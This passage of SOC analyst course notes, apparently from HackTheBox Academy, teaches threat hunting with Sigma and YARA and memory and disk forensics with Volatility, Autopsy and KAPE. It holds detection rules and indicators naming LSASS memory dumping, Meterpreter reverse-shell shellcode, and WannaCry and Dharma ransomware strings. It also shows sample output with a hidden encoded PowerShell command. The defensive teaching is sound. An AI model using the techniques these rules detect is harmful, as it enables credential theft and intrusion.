.\\chainsaw_x86_64-pc-windows-msvc.exe hunt C:\\Events\\YARASigma\\lab_events_2.evtx -s C:\\Rules\\sigma\\win_security_susp_failed_logons_single_source2.yml --mapping .\\mappings\\sigma-event-logs-all.yml ``` Output: ``` [+] 1 Detections found on 1 documents ``` Our Sigma rule was able to identify the multiple failed login attempts against NOUSER. **Example 2: Hunting for Abnormal PowerShell Command Line Size With Sigma (Based on Event ID 4688)** Firstly, let's set the stage by recognizing that PowerShell, being a highly flexible scripting language, is an attractive target for attackers. Its deep integration with Windows APIs and .NET Framework makes it an ideal candidate for a variety of post-exploitation activities. A Sigma rule that can detect abnormally long PowerShell command lines can be found inside the `C:\\Rules\\sigma` directory of this section's target, saved as `proc_creation_win_powershell_abnormal_commandline_size.yml`. ``` title: Unusually Long PowerShell CommandLine id: d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6 status: test description: Detects unusually long PowerShell command lines with a length of 1000 characters or more references: - <https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse> author: oscd.community, Natalia Shornikova / HTB Academy, Dimitrios Bougioukas date: 2020/10/06 modified: 2023/04/14 tags: - attack.execution - attack.t1059.001 - detection.threat_hunting logsource: category: process_creation product: windows detection: selection: EventID: 4688 NewProcessName|endswith: - '\\powershell.exe' - '\\pwsh.exe' - '\\cmd.exe' selection_powershell: CommandLine|contains: - 'powershell.exe' - 'pwsh.exe' selection_length: CommandLine|re: '.{1000,}' condition: selection and selection_powershell and selection_length falsepositives: - Unknown level: low ``` **Applying the Rule** We applied the abovementioned Sigma rule, `proc_creation_win_powershell_abnormal_commandline_size.yml`, to `lab_events_3.evtx` (available at `C:\\Events\\YARASigma\\lab_events_3.evtx`, thanks to mdecrevoisier) that contains 4688 events with abnormally long PowerShell commands. ``` PS C:\\Tools\\chainsaw> .\\chainsaw_x86_64-pc-windows-msvc.exe hunt C:\\Events\\YARASigma\\lab_events_3.evtx -s C:\\Rules\\sigma\\proc_creation_win_powershell_abnormal_commandline_size.yml --mapping .\\mappings\\sigma-event-logs-all-new.yml ``` Output: ``` [+] 3 Detections found on 3 documents ``` Our Sigma rule successfully uncovered all three abnormally long PowerShell commands that exist inside `lab_events_3.evtx`. Remember that configuration when it comes to using or translating Sigma rules is of paramount importance! #### **Hunting Evil with Sigma (Splunk Edition)** As discussed when introducing Sigma, Sigma rules revolutionize our approach to log analysis and threat detection. Acting as a universal translator, Sigma brings a level of abstraction to event logs, removing the need for SIEM-specific query languages and enabling the use of common detection logic across platforms. Let's validate this approach by converting two Sigma rules into Splunk’s SPL format and examining the outcomes. **Example 1: Hunting for MiniDump Function Abuse to Dump LSASS's Memory (comsvcs.dll via rundll32)** A Sigma rule named `proc_access_win_lsass_dump_comsvcs_dll.yml` is available in the following directory: - `C:\\Tools\\chainsaw\\sigma\\rules\\windows\\process_access` This Sigma rule detects adversaries who use the MiniDump export function of `comsvcs.dll` via `rundll32` to perform a memory dump from LSASS. To convert this rule to a Splunk-compatible query, we can use `sigmac` as follows: ``` PS C:\\Tools\\sigma-0.21\\tools> python sigmac -t splunk C:\\Tools\\chainsaw\\sigma\\rules\\windows\\process_access\\proc_access_win_lsass_dump_comsvcs_dll.yml -c .\\config\\splunk-windows.yml ``` This command generates the following SPL query: ``` (TargetImage="*\\\\lsass.exe" SourceImage="C:\\\\Windows\\\\System32\\\\rundll32.exe" CallTrace="*comsvcs.dll*") ``` To validate the rule in Splunk: 1. Navigate to `http://[Target IP]:8000`. 2. Open the **"Search & Reporting"** application. 3. Submit the Splunk search query generated by `sigmac`. Result: The SPL query successfully detects MiniDump function abuse to dump LSASS's memory. **Example 2: Hunting for Notepad Spawning Suspicious Child Processes** A Sigma rule named `proc_creation_win_notepad_susp_child.yml` is available in: - `C:\\Rules\\sigma` This Sigma rule detects cases where `notepad.exe` spawns suspicious child processes. To convert this rule to SPL, we use `sigmac` as follows: ``` PS C:\\Tools\\sigma-0.21\\tools> python sigmac -t splunk C:\\Rules\\sigma\\proc_creation_win_notepad_susp_child.yml -c .\\config\\splunk-windows.yml ``` The command produces the following SPL query: ``` (ParentImage="*\\\\notepad.exe" (Image="*\\\\powershell.exe" OR Image="*\\\\pwsh.exe" OR Image="*\\\\cmd.exe" OR Image="*\\\\mshta.exe" OR Image="*\\\\cscript.exe" OR Image="*\\\\wscript.exe" OR Image="*\\\\taskkill.exe" OR Image="*\\\\regsvr32.exe" OR Image="*\\\\rundll32.exe" OR Image="*\\\\calc.exe")) ``` To validate the rule in Splunk: 1. Navigate to `http://[Target IP]:8000`. 2. Open the **"Search & Reporting"** application. 3. Submit the generated SPL query. Result: The SPL query detects instances where `notepad.exe` spawns suspicious processes, such as PowerShell. **Customizing Sigma for SIEM Compatibility** In many cases, Sigma configuration files, located in the following directory: - `C:\\Tools\\sigma-0.21\\tools\\config` may require customization to generate accurate and usable SIEM queries. These configuration adjustments help ensure the translated rules align with specific data fields and log structures in the target SIEM environment. #### **Hunting Evil with YARA (Linux)** **Overview** When direct access to a system is restricted, memory captures can still allow us to investigate potential threats. By using YARA on these memory snapshots, Security Analysts can scan for indicators of compromise even when the system itself remains inaccessible. **Key Process:** 1. **Create YARA Rules**: Develop rules targeting memory-based malware traits or suspicious behaviors. 2. **Compile Rules**: Using `yarac`, compile YARA rules to `.yrc` binary format (optional for better performance). 3. **Capture Memory Image**: Use tools like DumpIt, MemDump, Belkasoft RAM Capturer, Magnet RAM Capture, FTK Imager, or LiME (Linux Memory Extractor). 4. **Scan Memory Image with YARA**: Run YARA on the memory image to detect matches. **Example Memory Scan with YARA** - **Memory Image**: `compromised_system.raw` from `/home/htb-student/MemoryDumps`. - **YARA Rule File**: `wannacry_artifacts_memory.yar` located in `/home/htb-student/Rules/yara`. ``` yara /home/htb-student/Rules/yara/wannacry_artifacts_memory.yar /home/htb-student/MemoryDumps/compromised_system.raw --print-strings ``` **Sample Output:** Detected patterns related to WannaCry ransomware, such as `tasksche.exe` and other known artifacts. **Integrating YARA with Volatility for Memory Forensics** **Volatility Framework** Volatility is a robust tool for analyzing memory images across multiple OS platforms. Using YARA within Volatility (via the `yarascan` plugin), Analysts can scan for specific malware indicators within the memory. **Example - Single Pattern Search** Searching for a specific hard-coded URI without a YARA file: ``` vol.py -f /home/htb-student/MemoryDumps/compromised_system.raw yarascan -U "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ``` - **Output**: Finds occurrences of this URI within the memory image. **Example - Multiple Rule Scanning** Applying a set of YARA rules using the `-y` option with Volatility: ``` vol.py -f /home/htb-student/MemoryDumps/compromised_system.raw yarascan -y /home/htb-student/Rules/yara/wannacry_artifacts_memory.yar ``` **Sample YARA Rule for WannaCry** ``` rule Ransomware_WannaCry { meta: author = "Madhukar Raina" version = "1.1" description = "Detect strings from WannaCry ransomware" reference = "<https://www.virustotal.com>" strings: $wannacry_payload_str1 = "tasksche.exe" fullword ascii $wannacry_payload_str2 = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ascii $wannacry_payload_str3 = "mssecsvc.exe" fullword ascii $wannacry_payload_str4 = "diskpart.exe" fullword ascii $wannacry_payload_str5 = "lhdfrgui.exe" fullword ascii condition: 3 of them } ``` - **Output**: Identifies specific WannaCry artifacts in the memory image. #### **Hunting Evil with YARA (Web)** **Overview** **[Unpac.Me](http://unpac.me/)** offers a robust solution for malware unpacking and enables Security Analysts to run YARA rules over a vast database of malware submissions. This platform provides access to a commercial-grade malware dataset, making it a valuable resource for SOC analysts and malware researchers. **Testing YARA Rules with****[Unpac.Me](http://unpac.me/)** For example, let's consider the following YARA rule targeting Dharma ransomware: ``` rule ransomware_dharma { meta: author = "Madhukar Raina" version = "1.0" description = "Detect strings from Dharma ransomware" reference = "<https://www.virustotal.com>" strings: $string_pdb = { 433A5C6372797369735C52656C656173655C5044425C7061796C6F61642E706462} $string_ssss = { 73 73 73 73 73 62 73 73 73} condition: all of them } ``` **Steps for Running a YARA Hunt on****[Unpac.Me](http://unpac.me/)** 1. **Register**: Sign up for a free account on [Unpac.Me](http://unpac.me/). 2. **Start a New Hunt**: - Navigate to **Yara Hunt** and select **New Hunt**. - Paste the YARA rule into the rule entry field. 3. **Validate and Scan**: - Click **Validate** to ensure the rule is correct, then **Scan**. 4. **Review Results**: After scanning, [Unpac.Me](http://unpac.me/) displays results, showing matches within minutes. #### **Hunting Evil with YARA (Windows)** **Overview** Using YARA on Windows systems is effective for identifying threats on disk and in memory. 1. **Connect to Target System**: - Launch the target system. - Use RDP to connect with provided credentials. **Hunting for Malicious Executables on Disk** - **Sample File**: `dharma_sample.exe` located in `C:\\Samples\\YARASigma`. - **Hex Analysis**: Using HxD to inspect strings like `C:\\crysis\\Release\\PDB\\payload.pdb` and `sssssbsss`. - **YARA Rule Example**: Detecting patterns in malicious executables. ``` rule ransomware_dharma { meta: author = "Madhukar Raina" version = "1.0" description = "Detect strings from Dharma ransomware" reference = "<https://www.virustotal.com>" strings: $string_pdb = { 433A5C6372797369735C52656C656173655C5044425C7061796C6F61642E706462} $string_ssss = { 73 73 73 73 73 62 73 73 73} condition: all of them } ``` **Command to Execute YARA Scan on Files** ``` yara64.exe -s C:\\Rules\\yara\\dharma_ransomware.yar C:\\Samples\\YARASigma\\ -r 2>null ``` - **Detected Files**: `pdf_reader.exe`, `microsoft.com`, `check_updates.exe`, `KB5027505.exe`. **Hunting for Malware in Running Processes** - **Target Process**: Example with `meterpreter` shellcode injection. - **YARA Rule for Metasploit Meterpreter**: ``` rule meterpreter_reverse_tcp_shellcode { meta: author = "FDD @ Cuckoo sandbox" description = "Metasploit meterpreter reverse tcp shellcode" strings: $s1 = { fce8 8?00 0000 60} $s2 = { 648b ??30} $s3 = { 4c77 2607} $s4 = "ws2_" $s5 = { 2980 6b00} $s6 = { ea0f dfe0} $s7 = { 99a5 7461} condition: 5 of them } ``` **Scanning Active Processes** ``` Get-Process | ForEach-Object { "Scanning with Yara for meterpreter shellcode on PID "+$_.id; & "yara64.exe" "C:\\Rules\\yara\\meterpreter_shellcode.yar" $_.id } ``` - **Result**: Detects shellcode in process PID 9084. **Hunting for Evil Within ETW Data with YARA** **Key ETW Providers** - **Microsoft-Windows-Kernel-Process**: Tracks process activities. - **Microsoft-Windows-Kernel-File**: Monitors file operations. - **Microsoft-Windows-DNS-Client**: Logs DNS activity (useful for C2 detection). **YARA and SilkETW Integration Example** 1. **PowerShell ETW Provider**: ``` .\\SilkETW.exe -t user -pn Microsoft-Windows-PowerShell -ot file -p ./etw_ps_logs.json -l verbose -y C:\\Rules\\yara -yo Matches ``` ``` rule powershell_hello_world_yara { strings: $s0 = "Write-Host" ascii wide nocase $s1 = "Hello" ascii wide nocase $s2 = "from" ascii wide nocase $s3 = "PowerShell" ascii wide nocase condition: 3 of ($s*) } ``` - **YARA Rule for PowerShell Strings**: 2. **DNS Client Provider**: ``` .\\SilkETW.exe -t user -pn Microsoft-Windows-DNS-Client -ot file -p ./etw_dns_logs.json -l verbose -y C:\\Rules\\yara -yo Matches ``` ``` rule dns_wannacry_domain { strings: $s1 = "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ascii wide nocase condition: $s1 } ``` - **YARA Rule for Wannacry Domain**: #### **Sigma and Sigma Rules** **Overview** Sigma is a generic and standardized signature format that enables SOC analysts to create, share, and utilize detection rules for log analysis across different platforms. Written in YAML, Sigma rules offer cross-platform portability, allowing analysts to write a rule once and deploy it across various SIEM and EDR systems. **Key Use Cases for Sigma Rules** 1. **Universal Log Analytics**: Write detection rules once and convert them to various SIEM formats. 2. **Community Rule Sharing**: Access and contribute to a growing library of community-shared Sigma rules. 3. **Incident Response**: Efficiently search logs for specific indicators during incidents. 4. **Proactive Threat Hunting**: Use Sigma rules to find anomalies or threats within datasets. 5. **Integration with Automation Tools**: Automate responses by using Sigma rules with SOAR platforms. 6. **Customization**: Tailor Sigma rules to specific environment needs. 7. **Gap Analysis**: Perform gap analysis by aligning custom rules with community standards. **How Sigma Works** Sigma expresses detection patterns in a structured format, with rules written in YAML. Sigma rules consist of: - **Title, Description, and ID**: Basic rule information. - **Log Source**: Specifies the target log type, platform, and application. - **Detection Pattern**: Includes search identifiers and conditions for matching. - **False Positives, Author, and Date**: Optional fields for context. **Sigma Conversion (sigmac & pySigma)** Sigma’s power lies in its convertibility. Tools like `sigmac` (and increasingly `pySigma`) transform Sigma rules into queries or configurations compatible with popular SIEMs (ElasticSearch, QRadar, Splunk, etc.). **Sigma Rule Structure** Sigma rules are YAML files with structured fields. Below is an example Sigma rule format. ``` title: Potential LethalHTA Technique Execution id: ed5d72a6-f8f4-479d-ba79-02f6a80d7471 status: test description: Detects potential LethalHTA technique where "mshta.exe" is spawned by an "svchost.exe" process references: - <https://codewhitesec.blogspot.com/2018/07/lethalhta.html> author: Markus Neis date: 2018/06/07 tags: - attack.defense_evasion - attack.t1218.005 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: '\\svchost.exe' Image|endswith: '\\mshta.exe' condition: selection falsepositives: - Unknown level: high ``` **Key Components of a Sigma Rule** 1. **Title**: Describes the detection focus (e.g., "Potential LethalHTA Technique Execution"). 2. **ID**: Unique identifier (UUID recommended). 3. **Status**: Status of the rule (e.g., stable, test, experimental). 4. **Description**: Brief explanation of what the rule detects. 5. **References**: Links to supporting articles or research. 6. **Author**: Rule creator’s name or handle. 7. **Date**: Creation date in YYYY/MM/DD format. 8. **Log Source**: Specifies the log source and platform (e.g., `category: process_creation`, `product: windows`). 9. **Detection Pattern**: - **Selection**: Specifies the patterns to match in logs. - **Condition**: Describes the relationship between patterns (e.g., `condition: selection`). **Detection Modifiers** Modifiers refine detection searches: - **contains**: Wildcards on both ends of a value (e.g., `CommandLine|contains`). - **startswith** / **endswith**: Wildcards on one end. - **re**: Regex-based matching. Example modifiers in use: ``` detection: selection: ParentImage|endswith: '\\svchost.exe' Image|endswith: '\\mshta.exe' condition: selection ``` **Sigma Rule Development Best Practices** Sigma’s [Rule Creation Guide](https://github.com/SigmaHQ/sigma/wiki/Specification) provides best practices for rule development, including detailed information on structuring and writing effective detection rules. **Common Operators in Conditions** Sigma conditions link detection elements, supporting operators like: - `and` / `or`: Logical conjunctions. - `all of them`: Matches all patterns. - `not`: Excludes certain matches. - Brackets `()`: Enforces operation order. Example condition: `condition: selection1 or selection2 or selection3` #### **YARA and YARA Rules** **YARA and YARA Rules** **YARA** is a powerful, pattern-matching tool that identifies files based on specific patterns and rules. These rules allow SOC analysts and forensic teams to detect, classify, and investigate suspicious files and malware samples. YARA rules analyze files' text or binary content and can also be applied to memory, aiding in both malware detection and proactive threat hunting. --- **Uses of YARA** 1. **Malware Detection**: Identifies malware based on unique patterns or behaviors. 2. **File Classification**: Helps categorize files by format, version, metadata, etc. 3. **IOC Detection**: Searches files for indicators of compromise like registry keys or file names. 4. **Threat Hunting**: Proactively searches for threats across environments. 5. **Incident Response**: Quickly searches for artifacts in response to security incidents. 6. **Custom Rules for Targeted Threats**: Creates custom rules for specific organizational needs. --- **How YARA Works** 1. **Rules Set**: Rules define patterns or behaviors to match against. 2. **Files Set**: Files or memory snapshots to scan. 3. **YARA Engine**: Compares file content byte-by-byte with the defined rules. 4. **Detection Output**: If patterns are matched, YARA flags the file as detected. --- **YARA Rule Structure** **1. Basic Structure:** ``` rule RuleName { meta: author = "Author Name" description = "Rule description" strings: $string1 = "sample_text" $string2 = { 4A 2D 1C} condition: all of them } ``` **2. Components of a YARA Rule:** - **Rule Header**: Begins with the keyword `rule`, followed by the rule name. - **Meta Section**: Metadata like author, description, version, and references. - **Strings Section**: Defines text, hexadecimal patterns, or regex to search for. - **Condition Section**: Sets conditions for triggering the rule. **3. Example Rule – Detecting WannaCry Ransomware Strings:** ``` rule Ransomware_WannaCry { meta: author = "Analyst Name" description = "Detects WannaCry-specific strings" strings: $wannacry1 = "tasksche.exe" fullword ascii $wannacry2 = "iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ascii $wannacry3 = "mssecsvc.exe" fullword ascii condition: all of them } ``` **4. Conditions and Logic Operators:** - `all of them`: All specified patterns must match. - `any of them`: Any one of the specified patterns can match. - **File Size Condition**: Ensures the file size meets criteria: ``` condition: filesize < 100KB and uint16(0) == 0x5A4D ``` - `uint16(0) == 0x5A4D`: Checks if the first two bytes match `0x5A4D` (indicating an MZ header for executables). --- **Advanced Features of YARA Rules** - **Logical Operators**: Combine conditions with `and`, `or`, `not`. - **External Modules**: Extend rule functionality for specialized needs. - **Customizability**: Allows tailoring rules to fit specific threats or indicators. **12. Introduction to Digital Forensics** #### **Disk Forensics** **Key Functionalities for Disk Forensics** - **File Structure Insight**: Provides a navigable view of the file system, allowing quick access to directories and specific files. This feature is critical for locating suspicious files. - **Hex Viewer**: Enables detailed inspection of files in hexadecimal format, useful when dealing with custom malware or specific exploits. - **Web Artifacts Analysis**: Allows analysis of user web data, such as browsing history and cached files, which is essential for tracking activities leading up to an incident. - **Email Carving**: Extracts and displays email data from disk images, often valuable when investigating internal threats or communication-based attacks. - **Image Viewer**: Facilitates viewing images stored on the system, potentially useful for policy checks or identifying illegal content. - **Metadata Analysis**: Provides insights into file attributes like creation dates, modification times, and hashes. These details help establish a timeline and correlate with other findings, such as malware activity. **Autopsy: A Forensic Tool Overview** **Autopsy** is an open-source digital forensics tool that leverages the Sleuth Kit framework. It provides a user-friendly interface with extensive features found in commercial tools, such as: 1. **Data Source Navigation**: Explore files and directories directly within the disk image. 2. **Web Artifact Examination**: Extracts web browsing artifacts like history, bookmarks, and cached files. 3. **Attached Device Analysis**: Identifies and examines external devices connected to the system. 4. **Deleted File Recovery**: Recovers deleted files by scanning the disk sectors for data remnants. 5. **Keyword Searches**: Performs in-depth searches across disk content for specific keywords. 6. **Keyword Lists**: Allows targeted searching using pre-defined lists of keywords (e.g., names, IPs, indicators of compromise). 7. **Timeline Analysis**: Maps out events chronologically, aiding in the construction of an accurate timeline for investigation. **Practical Use of Autopsy in Forensic Analysis** Once a disk image is loaded in Autopsy, the forensic artifacts are organized in the sidebar, enabling efficient access to: - **Data Sources**: A view of all files and directories. - **Web Artifacts**: A focused view of internet history and related data. - **Device Information**: Details on any attached external devices. - **Deleted Files**: Recovered files and fragments that were marked for deletion. - **Keyword & List Searches**: In-depth searching capabilities. - **Timeline Analysis**: An organized, chronological display of system events, crucial for understanding the sequence of actions leading up to an incident. [https://academy.hackthebox.com/module/237/section/2611](https://academy.hackthebox.com/module/237/section/2611) #### **Evidence Acquisition Techniques & Tools** Evidence acquisition is crucial in digital forensics, involving the meticulous collection of data from various sources to ensure its authenticity and legal admissibility. **1. Forensic Imaging** Forensic imaging involves creating an exact, bit-by-bit copy of storage media, essential for preserving the original state of data. Tools for forensic imaging include: - **FTK Imager**: Allows creation of perfect disk copies, viewing and analyzing data without alteration. - **AFF4 Imager**: Open-source tool supporting multiple file systems with compressed imaging capabilities. - **DD and DCFLDD**: Unix-based command-line utilities; DCFLDD includes forensic-specific enhancements like hashing. - **Virtualization Tools**: Used to acquire images from virtual environments, often through snapshots. **Example: Imaging with FTK Imager** 1. Select **File > Create Disk Image**. 2. Choose the source (Physical/Logical Drive) and specify the destination. 3. Set image type, fragmentation, and compression, then **Start**. 4. After imaging, FTK Imager verifies and summarizes the results. **Example: Mounting Disk Image with Arsenal Image Mounter** 1. Run **Arsenal Image Mounter** as admin. 2. Mount the image as **read-only** to maintain integrity. 3. The image appears as a drive, e.g., `D:\\`. **2. Extracting Host-based Evidence & Rapid Triage** Host-based evidence includes artifacts from operating systems like Windows, generated by application execution, file modifications, and user activity. Evidence acquisition is categorized by data volatility: - **Volatile Data**: Captured from active memory and includes live memory contents, often containing traces of malware. - **Memory Acquisition Tools**: - **WinPmem**: Open-source memory capture tool for Windows. - **DumpIt**: Simple tool for Windows/Linux memory dumps. - **MemDump**: CLI tool capturing system RAM. - **Magnet RAM Capture**: Free memory capture tool from Magnet Forensics. - **Non-volatile Data**: Persists on disk and includes registry entries, Windows Event Logs, and system or application artifacts. **Example: Memory Acquisition with WinPmem** ``` C:\\Users\\X\\Downloads> winpmem_mini_x64_rc2.exe memdump.raw ``` **Rapid Triage with KAPE** KAPE (Kroll Artifact Parser and Extractor) accelerates evidence collection by gathering essential artifacts. 1. **Targets**: Define the data to collect, stored as `.tkape` files in the `KAPE\\Targets` directory. 2. **Execution**: - Set source (`D:\\`) and destination paths. - Use **gkape.exe** (GUI) to configure options and start the collection. 3. Results include $MFT and other system directories in the output directory. **Remote Collection with EDR & Velociraptor** - **EDR Solutions**: Facilitate remote evidence gathering, with capabilities for searching across networks. - **Velociraptor**: Uses VQL queries and Hunts to gather artifacts like **Windows.KapeFiles.Targets**. **3. Extracting Network Evidence** Network evidence analysis is foundational for SOC analysts, involving tools and data sources that capture and interpret network traffic. - **Traffic Capture**: Tools like **Wireshark** and **tcpdump** capture packets to analyze network communication. - **IDS/IPS Systems**: IDS (Intrusion Detection Systems) detect, while IPS (Intrusion Prevention Systems) detect and block suspicious activity. - **Traffic Flow Data**: Tools like **NetFlow** provide high-level traffic behavior insights. - **Firewall Logs**: Offer information on attempted exploits and unauthorized access attempts. #### **Key Concepts** **Electronic Evidence** - Digital forensics focuses on electronic evidence, including files, emails, logs, databases, and network traffic. - Evidence can originate from various sources like computers, mobile devices, servers, cloud services, and other digital assets. **Preservation of Evidence** - Preserving the integrity and authenticity of digital evidence is paramount. - Proper procedures, including chain of custody documentation, are crucial to prevent accidental alteration and ensure admissibility. **Forensic Process** The forensic process in digital investigations generally includes several key stages: 1. **Identification**: Determine potential sources of evidence. 2. **Collection**: Gather data using forensically sound methods. 3. **Examination**: Analyze the collected data to identify relevant information. 4. **Analysis**: Interpret findings to understand the incident. 5. **Presentation**: Present findings in a clear, comprehensive manner. **Types of Cases** Digital forensics applies to various types of investigations: - **Cybercrime Investigations**: Cases involving hacking, fraud, or data theft. - **Intellectual Property Theft**: Protection of proprietary information. - **Employee Misconduct**: Internal investigations. - **Data Breaches**: Response to security incidents affecting organizations. - **Litigation Support**: Assisting in legal proceedings. **Basic Steps in a Forensic Investigation** 1. **Create a Forensic Image**: Make a bit-for-bit copy of the system for analysis. 2. **Document the System's State**: Record details such as active processes, open connections, and logged-in users. 3. **Identify and Preserve Evidence**: Secure any data that may contain relevant information. 4. **Analyze the Evidence**: Look for data points that explain the incident. 5. **Timeline Analysis**: Build a timeline to understand the sequence of events. 6. **Identify Indicators of Compromise (IoCs)**: Locate signs of compromise within the data. 7. **Report and Documentation**: Create detailed reports summarizing findings and actions taken. --- **Digital Forensics for SOC Analysts** In a Security Operations Center (SOC), digital forensics plays a critical role in responding to and analyzing cyber threats: **Post-Incident Analysis** - Forensic analysis provides a detailed breakdown of incidents, helping analysts trace an attacker’s methods, motives, and potential identity. - This information helps to improve organizational defenses by identifying vulnerabilities. **Swift Response in Security Incidents** - Digital forensics tools enable rapid analysis of large datasets, allowing for prompt identification of the moment of compromise, affected systems, and the attack method. - Quick threat containment is essential to limit the scope and impact of the incident. **Legal Considerations** - Forensics provides legally admissible evidence, crucial for legal action following significant breaches. - Collected evidence is logged, hashed, and timestamped to ensure its integrity, supporting its use in court if needed. **Proactive Threat Hunting** - Digital forensics enables SOC teams to proactively search for signs of compromise rather than simply responding to alerts. - Past incidents provide IoCs and TTPs that analysts can use to hunt for potential threats. **Enhanced Incident Response** - Comprehensive forensic analysis allows for better-tailored responses, ensuring that all compromised systems are addressed. - Understanding the full scope of an attack reduces the likelihood of attackers re-entering the system through the same vulnerability. **Continuous Learning and Improvement** - Each incident offers learning opportunities, helping SOC teams stay ahead of evolving attack techniques. - By dissecting past incidents, analysts can anticipate and defend against new tactics. #### **Memory Forensics** **Types of Data in RAM Useful for Investigations** - **Network connections** - **File handles & Open Files** - **Registry keys** - **Running processes** - **Loaded DLLs & Drivers** - **Console command history** - **User credentials** - **Malware artifacts** - **System configurations** **Process for Memory Forensics** 1. **Process Identification and Verification** - Enumerate running processes, validate origins, and check against known legitimate processes. 2. **Process Component Analysis** - Examine associated DLLs and handles, looking for unauthorized injections. 3. **Network Activity Review** - Analyze active connections, IPs, and domains to trace external communications. 4. **Code Injection Detection** - Identify techniques like process hollowing by examining memory anomalies. 5. **Rootkit Detection** - Identify deep-seated malware that embeds in OS using elevated privileges. 6. **Suspicious Elements Extraction** - Isolate suspicious components for detailed forensic examination. **The Volatility Framework** **Overview** Volatility is an open-source memory forensics tool used on various platforms to dissect memory images across operating systems, including Windows, macOS, and Linux. **Common Volatility Modules** - **pslist**: Lists running processes. - **cmdline**: Shows command-line arguments. - **netscan**: Identifies network connections. - **malfind**: Detects malicious code in processes. - **handles**: Lists open handles. - **svcscan**: Scans Windows services. - **dlllist**: Lists loaded DLLs. - **hivelist**: Lists registry hives in memory. **Volatility Usage Examples** - **Forensics with Volatility Help**: ``` vol.py --help ``` - **List Running Processes**: ``` vol.py -f /path/to/memory.dump --profile=Win7SP1x64 pslist ``` - **Network Artifact Scanning**: ``` vol.py -f /path/to/memory.dump --profile=Win7SP1x64 netscan ``` - **Detect Injected Code**: ``` vol.py -f /path/to/memory.dump --profile=Win7SP1x64 malfind --pid=608 ``` - **List Loaded DLLs for Specific Process**: ``` vol.py -f /path/to/memory.dump --profile=Win7SP1x64 dlllist -p 1512 ``` - **List Windows Services**: ``` vol.py -f /path/to/memory.dump --profile=Win7SP1x64 svcscan ``` **Rootkit Detection Using psscan and pslist Plugins** - **psscan** plugin reveals processes hidden by rootkits: ``` vol.py -f /path/to/rootkit.dump psscan ``` **Memory Analysis Using Strings** - **IPv4 Address Search**: ``` strings /path/to/memory.dump | grep -E "\\b([0-9]{1,3}\\.){3}[0-9]{1,3}\\b" ``` - **Email Address Extraction**: ``` strings /path/to/memory.dump | grep -oE "\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\\b" ``` - **Command Line Artifacts**: ``` strings /path/to/memory.dump | grep -E "(cmd|powershell|bash)[^\\s]+" ``` #### **Practical Digital Forensics Scenario** **Scenario Setup** - **Target System Access**: Use RDP to connect to the Target IP with provided credentials. - **Evidence Locations**: - **Memory Dump**: `C:\\Users\\johndoe\\Desktop\\memdump\\PhysicalMemory.raw` - **Rapid Triage Artifacts**: - `C:\\Users\\johndoe\\Desktop\\kapefiles` - `C:\\Users\\johndoe\\Desktop\\files` - **Full Disk Image**: `C:\\Users\\johndoe\\Desktop\\fulldisk.raw.001` - **Parsed Disk Data**: `C:\\Users\\johndoe\\Desktop\\MalwareAttack` **Notes** - Autopsy analysis should be done from `C:\\Users\\johndoe\\Desktop\\MalwareAttack`. - Ideal forensics environment is separate from the impacted system; analysis is done directly on the affected system here for expediency. --- **Memory Analysis with Volatility v3** **Identifying Memory Profile** To get OS and kernel details of the memory dump: ``` python vol.py -q -f ..\\memdump\\PhysicalMemory.raw windows.info ``` **Sample Output** | **Variable** | **Value** | |---|---| | Kernel Base | 0xf80150019000 | | DTB | 0x1ad000 | | Symbols | file:///C:/Users/johndoe/Desktop/... | | Is64Bit | True | | SystemTime | 2023-08-10 09:35:40 | | NtSystemRoot | C:\\Windows | | NtMajorVersion | 10 | | NtMinorVersion | 0 | **Detecting Injected Code** To find process memory regions potentially containing injected code: ``` python vol.py -q -f ..\\memdump\\PhysicalMemory.raw windows.malfind ``` **Sample Output** Processes with `PAGE_EXECUTE_READWRITE` memory: - `PID 3648` (rundll32.exe), `PID 6744` (powershell.exe), `PID 5468` (rundll32.exe) **Explanation of**`PAGE_EXECUTE_READWRITE` - This permission allows both execution and modification of code in memory, typically avoided in legitimate applications. - Common with malware, which injects code into memory and executes it, warranting further investigation. --- **Identifying Running Processes** **Listing Processes** Using `windows.pslist` to list processes: ``` python vol.py -q -f ..\\memdump\\PhysicalMemory.raw windows.pslist ``` **Sample Output (Excerpt)** | **PID** | **PPID** | **ImageFileName** | **CreateTime** | **SessionId** | |---|---|---|---|---| | 4 | 0 | System | 2023-08-10 00:22:53.000000 | N/A | | 3648 | 7148 | rundll32.exe | 2023-08-10 09:15:14.000000 | 1 | | 6744 | 908 | powershell.exe | 2023-08-10 09:21:16.000000 | 1 | | 5468 | 7512 | rundll32.exe | 2023-08-10 09:23:15.000000 | 0 | **Viewing Process Tree** Using `windows.pstree` to view parent-child process relationships: ``` python vol.py -q -f ..\\memdump\\PhysicalMemory.raw windows.pstree ``` - Shows parent-child relationships, helping identify suspicious child processes spawned by common processes (e.g., rundll32.exe under explorer.exe). --- **Identifying Process Command Lines** Using `windows.cmdline` to retrieve command-line arguments: ``` python vol.py -q -f ..\\memdump\\PhysicalMemory.raw windows.cmdline ``` **Sample Output** | **PID** | **Process** | **Args** | |---|---|---| | 416 | csrss.exe | `%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows ...` | | 3648 | rundll32.exe | `C:\\Windows\\System32\\rundll32.exe payload.dll,StartW` | | 6744 | powershell.exe | `PowerShell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcAL...` | --- **Dumping Process Memory & Leveraging YARA** To analyze process 3648, use Volatility's `windows.memmap` plugin to extract all memory-resident pages of this process: ``` python vol.py -q -f ../memdump/PhysicalMemory.raw windows.memmap --pid 3648 --dump ``` Sample output: ``` 0xf8016d0e9000 0x2077d000 0x3000 0x1bde4000 pid.3648.dmp ... (continues with memory pages) ``` The memory dump `pid.3648.dmp` is stored at `c:\\Users\\johndoe\\Desktop`. **Scanning with YARA** Scan the memory dump with YARA rules using a PowerShell loop to apply all available rules from `https://github.com/Neo23x0/signature-base`. PowerShell script: ``` $rules = Get-ChildItem C:\\Users\\johndoe\\Desktop\\yara-4.3.2-2150-win64\\rules | Select-Object -Property Name foreach ($rule in $rules) 